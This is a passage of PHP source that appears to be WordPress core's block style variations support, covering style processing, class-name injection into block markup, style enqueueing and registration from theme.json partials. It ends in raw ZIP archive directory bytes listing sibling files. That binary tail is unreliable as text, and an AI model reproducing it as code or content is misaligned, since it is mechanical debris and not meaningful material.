		array( 'custom' ),
		array(
			'include_block_style_variations' => true,
			'skip_root_layout_styles'        => true,
			'scope'                          => ".$class_name",
		)
	);

	// Clean up temporary block style now instance styles have been processed.
	$styles_registry->unregister( $parsed_block['blockName'], $variation_instance );

	// Restore filter that excludes block nodes.
	if ( ! is_admin() ) {
		add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	if ( empty( $variation_styles ) ) {
		return $parsed_block;
	}

	wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) );
	wp_add_inline_style( 'block-style-variation-styles', $variation_styles );

	/*
	 * Add variation instance class name to block's className string so it can
	 * be enforced in the block markup via render_block filter.
	 */
	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	return $parsed_block;
}

/**
 * Ensures the variation block support class name generated and added to
 * block attributes in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @since 6.6.0
 * @access private
 *
 * @see wp_render_block_style_variation_support_styles
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 *
 * @return string                Filtered block content.
 */
function wp_render_block_style_variation_class_name( $block_content, $block ) {
	if ( ! $block_content || empty( $block['attrs']['className'] ) ) {
		return $block_content;
	}

	/*
	 * Matches a class prefixed by `is-style`, followed by the
	 * variation slug, then `--`, and finally an instance number.
	 */
	preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		/*
		 * Ensure the variation instance class name set in the
		 * `render_block_data` filter is applied in markup.
		 * See `wp_render_block_style_variation_support_styles`.
		 */
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

/**
 * Enqueues styles for block style variations.
 *
 * @since 6.6.0
 * @access private
 */
function wp_enqueue_block_style_variation_styles() {
	wp_enqueue_style( 'block-style-variation-styles' );
}

// Register the block support.
WP_Block_Supports::get_instance()->register( 'block-style-variation', array() );

add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 );
add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 );

/**
 * Registers block style variations read in from theme.json partials.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variations Shared block style variations.
 */
function wp_register_block_style_variations_from_theme_json_partials( $variations ) {
	if ( empty( $variations ) ) {
		return;
	}

	$registry = WP_Block_Styles_Registry::get_instance();

	foreach ( $variations as $variation ) {
		if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) {
			continue;
		}

		$variation_name  = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
		$variation_label = $variation['title'] ?? $variation_name;

		foreach ( $variation['blockTypes'] as $block_type ) {
			$registered_styles = $registry->get_registered_styles_for_block( $block_type );

			// Register block style variation if it hasn't already been registered.
			if ( ! array_key_exists( $variation_name, $registered_styles ) ) {
				register_block_style(
					$block_type,
					array(
						'name'  => $variation_name,
						'label' => $variation_label,
					)
				);
			}
		}
	}
}
PK         ! !  !                  elements.phpnu [        PK         ! F
  
              "  duotone.phpnu [        PK         ! {/                ,  custom-classname.phpnu [        PK         ! @    
            3  border.phpnu [        PK         ! Y    
            M  layout.phpnu [        PK         ! Ut  Ut              N  typography.phpnu [        PK         ! M                ] dimensions.phpnu [        PK         ! V  V              >s block-visibility.phpnu [        PK         !                 v settings.phpnu [        PK         ! <1  1              ) background.phpnu [        PK         ! R    	             align.phpnu [        PK         ! S$>  >  
            } colors.phpnu [        PK         ! h<K  K               aria-label.phpnu [        PK         ! QA/<  <              ~ spacing.phpnu [        PK         ! ]@                 generated-classname.phpnu [        PK         ! K                 site-logo/index.phpnu [        PK         ! #_-  -  
            d shadow.phpnu [        PK         ! U    	            xl utils.phpnu [        PK         !                 p position.phpnu [        PK         ! c$  $              с block-style-variations.phpnu [        PK        